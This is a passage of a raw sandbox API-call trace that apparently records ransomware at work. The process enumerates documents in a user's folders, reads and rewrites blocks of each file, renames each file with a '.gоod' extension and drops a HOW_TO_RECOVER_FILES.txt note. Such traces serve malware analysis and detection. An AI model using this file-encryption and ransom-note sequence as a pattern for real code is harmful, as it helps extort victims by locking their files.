[0256.097] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\z90mXtlTKUClzizAcKon.xls" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\0ofs--oaev2\\z90mxtltkuclzizackon.xls"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\z90mXtlTKUClzizAcKon.xls.gоod" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\0ofs--oaev2\\z90mxtltkuclzizackon.xls.gоod")) returned 1 [0256.098] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\zGzf.doc", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\zGzf.doc", lpFilePart=0x0) returned 0x33 [0256.098] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed250) returned 1 [0256.098] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\zGzf.doc" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\0ofs--oaev2\\zgzf.doc"), fInfoLevelId=0x0, lpFileInformation=0x3d381d8 | out: lpFileInformation=0x3d381d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fec8480, ftCreationTime.dwHighDateTime=0x1d4cdf5, ftLastAccessTime.dwLowDateTime=0xf616b460, ftLastAccessTime.dwHighDateTime=0x1d4ca29, ftLastWriteTime.dwLowDateTime=0xf616b460, ftLastWriteTime.dwHighDateTime=0x1d4ca29, nFileSizeHigh=0x0, nFileSizeLow=0xc9dc)) returned 1 [0256.098] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed210) returned 1 [0256.098] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\zGzf.doc", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\zGzf.doc", lpFilePart=0x0) returned 0x33 [0256.098] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0256.098] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\zGzf.doc" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\0ofs--oaev2\\zgzf.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0256.099] GetFileType (hFile=0x85c) returned 0x1 [0256.099] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0256.099] GetFileType (hFile=0x85c) returned 0x1 [0256.099] SetFilePointer (in: hFile=0x85c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ed2a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ed2a8*=0) returned 0x1000 [0256.099] ReadFile (in: hFile=0x85c, lpBuffer=0x3d38590, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ed278, lpOverlapped=0x0 | out: lpBuffer=0x3d38590*, lpNumberOfBytesRead=0x1f9ed278*=0x1000, lpOverlapped=0x0) returned 1 [0256.099] CloseHandle (hObject=0x85c) returned 1 [0256.099] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\zGzf.doc", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\zGzf.doc", lpFilePart=0x0) returned 0x33 [0256.099] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0256.099] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\zGzf.doc" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\0ofs--oaev2\\zgzf.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0256.099] GetFileType (hFile=0x85c) returned 0x1 [0256.099] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0256.099] GetFileType (hFile=0x85c) returned 0x1 [0256.100] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ed2a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ed2a8*=0) returned 0xc9dc [0256.100] WriteFile (in: hFile=0x85c, lpBuffer=0x3d397f8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ed198, lpOverlapped=0x0 | out: lpBuffer=0x3d397f8*, lpNumberOfBytesWritten=0x1f9ed198*=0x10, lpOverlapped=0x0) returned 1 [0256.100] CloseHandle (hObject=0x85c) returned 1 [0256.100] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\zGzf.doc", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\zGzf.doc", lpFilePart=0x0) returned 0x33 [0256.100] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0256.100] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\zGzf.doc" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\0ofs--oaev2\\zgzf.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0256.100] GetFileType (hFile=0x85c) returned 0x1 [0256.100] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0256.100] GetFileType (hFile=0x85c) returned 0x1 [0256.100] ReadFile (in: hFile=0x85c, lpBuffer=0x3d3ba88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ed228, lpOverlapped=0x0 | out: lpBuffer=0x3d3ba88*, lpNumberOfBytesRead=0x1f9ed228*=0x1000, lpOverlapped=0x0) returned 1 [0256.613] CloseHandle (hObject=0x85c) returned 1 [0256.613] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\zGzf.doc", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\zGzf.doc", lpFilePart=0x0) returned 0x33 [0256.613] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0256.613] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\zGzf.doc" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\0ofs--oaev2\\zgzf.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0256.614] GetFileType (hFile=0x85c) returned 0x1 [0256.614] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0256.614] GetFileType (hFile=0x85c) returned 0x1 [0256.614] WriteFile (in: hFile=0x85c, lpBuffer=0x3b3e878*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ed2d8, lpOverlapped=0x0 | out: lpBuffer=0x3b3e878*, lpNumberOfBytesWritten=0x1f9ed2d8*=0x1010, lpOverlapped=0x0) returned 1 [0256.614] CloseHandle (hObject=0x85c) returned 1 [0256.614] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\zGzf.doc", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\zGzf.doc", lpFilePart=0x0) returned 0x33 [0256.614] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\zGzf.doc.gоod", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\zGzf.doc.gоod", lpFilePart=0x0) returned 0x38 [0256.614] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed210) returned 1 [0256.614] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\zGzf.doc" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\0ofs--oaev2\\zgzf.doc"), fInfoLevelId=0x0, lpFileInformation=0x1f9ed2f0 | out: lpFileInformation=0x1f9ed2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fec8480, ftCreationTime.dwHighDateTime=0x1d4cdf5, ftLastAccessTime.dwLowDateTime=0xf616b460, ftLastAccessTime.dwHighDateTime=0x1d4ca29, ftLastWriteTime.dwLowDateTime=0x952a6563, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc9ec)) returned 1 [0256.614] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed1d0) returned 1 [0256.614] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\zGzf.doc" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\0ofs--oaev2\\zgzf.doc"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\zGzf.doc.gоod" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\0ofs--oaev2\\zgzf.doc.gоod")) returned 1 [0256.615] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ecef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x43 [0256.615] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed410) returned 1 [0256.615] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\0ofs--oaev2\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x85c [0256.616] GetFileType (hFile=0x85c) returned 0x1 [0256.616] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed380) returned 1 [0256.616] GetFileType (hFile=0x85c) returned 0x1 [0256.617] WriteFile (in: hFile=0x85c, lpBuffer=0x3d710f0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ed4d8, lpOverlapped=0x0 | out: lpBuffer=0x3d710f0*, lpNumberOfBytesWritten=0x1f9ed4d8*=0x5d0, lpOverlapped=0x0) returned 1 [0256.617] CloseHandle (hObject=0x85c) returned 1 [0256.618] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed4a0) returned 1 [0256.618] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se", nBufferLength=0x105, lpBuffer=0x1f9ecf40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se", lpFilePart=0x0) returned 0x2e [0256.618] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\*", lpFindFileData=0x1f9ed1c0 | out: lpFindFileData=0x1f9ed1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x87864810, ftCreationTime.dwHighDateTime=0x1d4d16a, ftLastAccessTime.dwLowDateTime=0xdc750e30, ftLastAccessTime.dwHighDateTime=0x1d4cf4c, ftLastWriteTime.dwLowDateTime=0xdc750e30, ftLastWriteTime.dwHighDateTime=0x1d4cf4c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a740 [0256.618] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x87864810, ftCreationTime.dwHighDateTime=0x1d4d16a, ftLastAccessTime.dwLowDateTime=0xdc750e30, ftLastAccessTime.dwHighDateTime=0x1d4cf4c, ftLastWriteTime.dwLowDateTime=0xdc750e30, ftLastWriteTime.dwHighDateTime=0x1d4cf4c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.618] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x658a1830, ftCreationTime.dwHighDateTime=0x1d4ced2, ftLastAccessTime.dwLowDateTime=0xe6badb0, ftLastAccessTime.dwHighDateTime=0x1d4d45a, ftLastWriteTime.dwLowDateTime=0xe6badb0, ftLastWriteTime.dwHighDateTime=0x1d4d45a, nFileSizeHigh=0x0, nFileSizeLow=0xfaf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="6i_jMqwKY1ZW1BuCj.ots", cAlternateFileName="6I_JMQ~1.OTS")) returned 1 [0256.618] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a0dd360, ftCreationTime.dwHighDateTime=0x1d4c9e8, ftLastAccessTime.dwLowDateTime=0x68d92e20, ftLastAccessTime.dwHighDateTime=0x1d4c6b9, ftLastWriteTime.dwLowDateTime=0x68d92e20, ftLastWriteTime.dwHighDateTime=0x1d4c6b9, nFileSizeHigh=0x0, nFileSizeLow=0x146b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="93AinYxmNyP.pptx", cAlternateFileName="93AINY~1.PPT")) returned 1 [0256.618] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57e7d270, ftCreationTime.dwHighDateTime=0x1d4d289, ftLastAccessTime.dwLowDateTime=0x5ed29e40, ftLastAccessTime.dwHighDateTime=0x1d4d39b, ftLastWriteTime.dwLowDateTime=0x5ed29e40, ftLastWriteTime.dwHighDateTime=0x1d4d39b, nFileSizeHigh=0x0, nFileSizeLow=0x1447b, dwReserved0=0x0, dwReserved1=0x0, cFileName="f5XOXM8S7R 948aF.pdf", cAlternateFileName="F5XOXM~1.PDF")) returned 1 [0256.619] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d35e910, ftCreationTime.dwHighDateTime=0x1d4c6a0, ftLastAccessTime.dwLowDateTime=0x7c457290, ftLastAccessTime.dwHighDateTime=0x1d4d25b, ftLastWriteTime.dwLowDateTime=0x7c457290, ftLastWriteTime.dwHighDateTime=0x1d4d25b, nFileSizeHigh=0x0, nFileSizeLow=0x9d7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="iUf9rOt.odp", cAlternateFileName="")) returned 1 [0256.619] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3714f180, ftCreationTime.dwHighDateTime=0x1d4ca79, ftLastAccessTime.dwLowDateTime=0xea3c72c0, ftLastAccessTime.dwHighDateTime=0x1d4cfb4, ftLastWriteTime.dwLowDateTime=0xea3c72c0, ftLastWriteTime.dwHighDateTime=0x1d4cfb4, nFileSizeHigh=0x0, nFileSizeLow=0x9cbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="tokmpM-t2mP0Q7NGK.odp", cAlternateFileName="TOKMPM~1.ODP")) returned 1 [0256.619] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32078060, ftCreationTime.dwHighDateTime=0x1d4d51c, ftLastAccessTime.dwLowDateTime=0x961510c0, ftLastAccessTime.dwHighDateTime=0x1d4d442, ftLastWriteTime.dwLowDateTime=0x961510c0, ftLastWriteTime.dwHighDateTime=0x1d4d442, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VKG1eq2JfzoHuZB", cAlternateFileName="VKG1EQ~1")) returned 1 [0256.619] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda7d4700, ftCreationTime.dwHighDateTime=0x1d4d398, ftLastAccessTime.dwLowDateTime=0x92f41850, ftLastAccessTime.dwHighDateTime=0x1d4c5b5, ftLastWriteTime.dwLowDateTime=0x92f41850, ftLastWriteTime.dwHighDateTime=0x1d4c5b5, nFileSizeHigh=0x0, nFileSizeLow=0x139c, dwReserved0=0x0, dwReserved1=0x0, cFileName="WuRCKzJVRTewQ.odp", cAlternateFileName="WURCKZ~1.ODP")) returned 1 [0256.619] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0256.619] FindClose (in: hFindFile=0x134a740 | out: hFindFile=0x134a740) returned 1 [0256.619] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3e0) returned 1 [0256.619] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3a0) returned 1 [0256.619] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed4a0) returned 1 [0256.619] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se", nBufferLength=0x105, lpBuffer=0x1f9ecf40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se", lpFilePart=0x0) returned 0x2e [0256.619] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\*", lpFindFileData=0x1f9ed1c0 | out: lpFindFileData=0x1f9ed1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x87864810, ftCreationTime.dwHighDateTime=0x1d4d16a, ftLastAccessTime.dwLowDateTime=0xdc750e30, ftLastAccessTime.dwHighDateTime=0x1d4cf4c, ftLastWriteTime.dwLowDateTime=0xdc750e30, ftLastWriteTime.dwHighDateTime=0x1d4cf4c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ae60 [0256.620] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x87864810, ftCreationTime.dwHighDateTime=0x1d4d16a, ftLastAccessTime.dwLowDateTime=0xdc750e30, ftLastAccessTime.dwHighDateTime=0x1d4cf4c, ftLastWriteTime.dwLowDateTime=0xdc750e30, ftLastWriteTime.dwHighDateTime=0x1d4cf4c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.620] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x658a1830, ftCreationTime.dwHighDateTime=0x1d4ced2, ftLastAccessTime.dwLowDateTime=0xe6badb0, ftLastAccessTime.dwHighDateTime=0x1d4d45a, ftLastWriteTime.dwLowDateTime=0xe6badb0, ftLastWriteTime.dwHighDateTime=0x1d4d45a, nFileSizeHigh=0x0, nFileSizeLow=0xfaf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="6i_jMqwKY1ZW1BuCj.ots", cAlternateFileName="6I_JMQ~1.OTS")) returned 1 [0256.620] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a0dd360, ftCreationTime.dwHighDateTime=0x1d4c9e8, ftLastAccessTime.dwLowDateTime=0x68d92e20, ftLastAccessTime.dwHighDateTime=0x1d4c6b9, ftLastWriteTime.dwLowDateTime=0x68d92e20, ftLastWriteTime.dwHighDateTime=0x1d4c6b9, nFileSizeHigh=0x0, nFileSizeLow=0x146b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="93AinYxmNyP.pptx", cAlternateFileName="93AINY~1.PPT")) returned 1 [0256.620] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57e7d270, ftCreationTime.dwHighDateTime=0x1d4d289, ftLastAccessTime.dwLowDateTime=0x5ed29e40, ftLastAccessTime.dwHighDateTime=0x1d4d39b, ftLastWriteTime.dwLowDateTime=0x5ed29e40, ftLastWriteTime.dwHighDateTime=0x1d4d39b, nFileSizeHigh=0x0, nFileSizeLow=0x1447b, dwReserved0=0x0, dwReserved1=0x0, cFileName="f5XOXM8S7R 948aF.pdf", cAlternateFileName="F5XOXM~1.PDF")) returned 1 [0256.620] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d35e910, ftCreationTime.dwHighDateTime=0x1d4c6a0, ftLastAccessTime.dwLowDateTime=0x7c457290, ftLastAccessTime.dwHighDateTime=0x1d4d25b, ftLastWriteTime.dwLowDateTime=0x7c457290, ftLastWriteTime.dwHighDateTime=0x1d4d25b, nFileSizeHigh=0x0, nFileSizeLow=0x9d7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="iUf9rOt.odp", cAlternateFileName="")) returned 1 [0256.620] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3714f180, ftCreationTime.dwHighDateTime=0x1d4ca79, ftLastAccessTime.dwLowDateTime=0xea3c72c0, ftLastAccessTime.dwHighDateTime=0x1d4cfb4, ftLastWriteTime.dwLowDateTime=0xea3c72c0, ftLastWriteTime.dwHighDateTime=0x1d4cfb4, nFileSizeHigh=0x0, nFileSizeLow=0x9cbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="tokmpM-t2mP0Q7NGK.odp", cAlternateFileName="TOKMPM~1.ODP")) returned 1 [0256.621] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32078060, ftCreationTime.dwHighDateTime=0x1d4d51c, ftLastAccessTime.dwLowDateTime=0x961510c0, ftLastAccessTime.dwHighDateTime=0x1d4d442, ftLastWriteTime.dwLowDateTime=0x961510c0, ftLastWriteTime.dwHighDateTime=0x1d4d442, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VKG1eq2JfzoHuZB", cAlternateFileName="VKG1EQ~1")) returned 1 [0256.621] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda7d4700, ftCreationTime.dwHighDateTime=0x1d4d398, ftLastAccessTime.dwLowDateTime=0x92f41850, ftLastAccessTime.dwHighDateTime=0x1d4c5b5, ftLastWriteTime.dwLowDateTime=0x92f41850, ftLastWriteTime.dwHighDateTime=0x1d4c5b5, nFileSizeHigh=0x0, nFileSizeLow=0x139c, dwReserved0=0x0, dwReserved1=0x0, cFileName="WuRCKzJVRTewQ.odp", cAlternateFileName="WURCKZ~1.ODP")) returned 1 [0256.621] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda7d4700, ftCreationTime.dwHighDateTime=0x1d4d398, ftLastAccessTime.dwLowDateTime=0x92f41850, ftLastAccessTime.dwHighDateTime=0x1d4c5b5, ftLastWriteTime.dwLowDateTime=0x92f41850, ftLastWriteTime.dwHighDateTime=0x1d4c5b5, nFileSizeHigh=0x0, nFileSizeLow=0x139c, dwReserved0=0x0, dwReserved1=0x0, cFileName="WuRCKzJVRTewQ.odp", cAlternateFileName="WURCKZ~1.ODP")) returned 0 [0256.621] FindClose (in: hFindFile=0x134ae60 | out: hFindFile=0x134ae60) returned 1 [0256.621] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3e0) returned 1 [0256.621] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3a0) returned 1 [0256.621] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\6i_jMqwKY1ZW1BuCj.ots", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\6i_jMqwKY1ZW1BuCj.ots", lpFilePart=0x0) returned 0x44 [0256.621] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed250) returned 1 [0256.621] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\6i_jMqwKY1ZW1BuCj.ots" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\xcico7sme0lr9se\\6i_jmqwky1zw1bucj.ots"), fInfoLevelId=0x0, lpFileInformation=0x3d81a00 | out: lpFileInformation=0x3d81a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x658a1830, ftCreationTime.dwHighDateTime=0x1d4ced2, ftLastAccessTime.dwLowDateTime=0xe6badb0, ftLastAccessTime.dwHighDateTime=0x1d4d45a, ftLastWriteTime.dwLowDateTime=0xe6badb0, ftLastWriteTime.dwHighDateTime=0x1d4d45a, nFileSizeHigh=0x0, nFileSizeLow=0xfaf8)) returned 1 [0256.621] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed210) returned 1 [0256.622] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\6i_jMqwKY1ZW1BuCj.ots", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\6i_jMqwKY1ZW1BuCj.ots", lpFilePart=0x0) returned 0x44 [0256.622] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0256.622] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\6i_jMqwKY1ZW1BuCj.ots" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\xcico7sme0lr9se\\6i_jmqwky1zw1bucj.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0256.622] GetFileType (hFile=0x85c) returned 0x1 [0256.622] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0256.622] GetFileType (hFile=0x85c) returned 0x1 [0256.622] SetFilePointer (in: hFile=0x85c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ed2a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ed2a8*=0) returned 0x1000 [0256.622] ReadFile (in: hFile=0x85c, lpBuffer=0x3d81e38, nNumberOfBytesToRead=0x1000, 